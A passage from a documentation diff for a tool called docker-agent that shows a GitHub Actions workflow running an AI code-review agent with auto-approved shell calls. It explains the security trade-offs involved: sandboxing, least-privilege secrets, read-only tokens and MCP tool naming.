security issues. + toolsets: + - type: shell +``` + +```yaml +# .github/workflows/agent-review.yml +name: Agent code review +on: + pull_request: + +permissions: + contents: read + +jobs: + review: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + persist-credentials: false + + - name: Install docker-agent + run: | + curl -L "https://github.com/docker/docker-agent/releases/latest/download/docker-agent-linux-amd64" -o docker-agent + chmod +x docker-agent + sudo mv docker-agent /usr/local/bin/ + + - name: Run the review agent + env: + ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} + TELEMETRY_ENABLED: "false" + run: | + docker-agent run --exec --yolo .github/agents/review-agent.yaml --json \ + "Review the changes in this PR for bugs and security issues" \ + | tee agent-events.ndjson + + - name: Upload transcript + if: always() + uses: actions/upload-artifact@v4 + with: + name: agent-events + path: agent-events.ndjson +``` + +This job auto-approves every shell call the review agent makes (`--yolo`) rather than trying to allow-list every `git`/`grep`/`cat` invocation a code review might need — the read surface for "review this diff" is open-ended, and a fixed pattern list is exactly the kind of shell-matching boundary the [previous section](#defense-in-depth-not-a-boundary-permissions-and-shell-command-matching) says not to rely on. If your CI environment can run `--sandbox` (a self-hosted runner with Docker Desktop, or an `sbx`-enabled image — GitHub-hosted `ubuntu-latest` ships neither out of the box), add it and get a real isolation boundary around that `--yolo`: + +```bash +$ docker-agent run --sandbox --exec --yolo .github/agents/review-agent.yaml --json "..." +``` + +Without `--sandbox`, this workflow's safety instead rests on least-privilege secrets (only `ANTHROPIC_API_KEY` is injected — no repo-write token), the top-level `permissions: contents: read` block and `persist-credentials: false` on the checkout step (which together mean the job never holds a write-capable `GITHUB_TOKEN` and never persists one to disk for `git` to pick up), and the job running on a GitHub-hosted, ephemeral runner that's discarded after the job. + +This example omits the GitHub MCP toolset (`docker:github-official`) shown in earlier revisions of this guide: that server requires a `GITHUB_PERSONAL_ACCESS_TOKEN` this workflow doesn't provide, and — because the toolset above has no `name:` field — its tools would be exposed under their raw MCP names (`get_file_contents`, `search_code`, …) rather than a `github_*`-style qualified name, so permission patterns written against that prefix wouldn't match anything anyway. If your review agent needs GitHub API access, add the toolset back with an explicit `name: github`, wire `GITHUB_PERSONAL_ACCESS_TOKEN` through `env:` from a repository secret, and write any `permissions` patterns against the tool names it actually exposes (`github_get_*` only works once the toolset carries that `name:`). + +Swap the model, toolsets, and provider secret for your own — the shape (checkout, install the binary, run `--exec` with `--json` against a checked-in config, upload the transcript) generalizes to any CI provider that can run a shell step.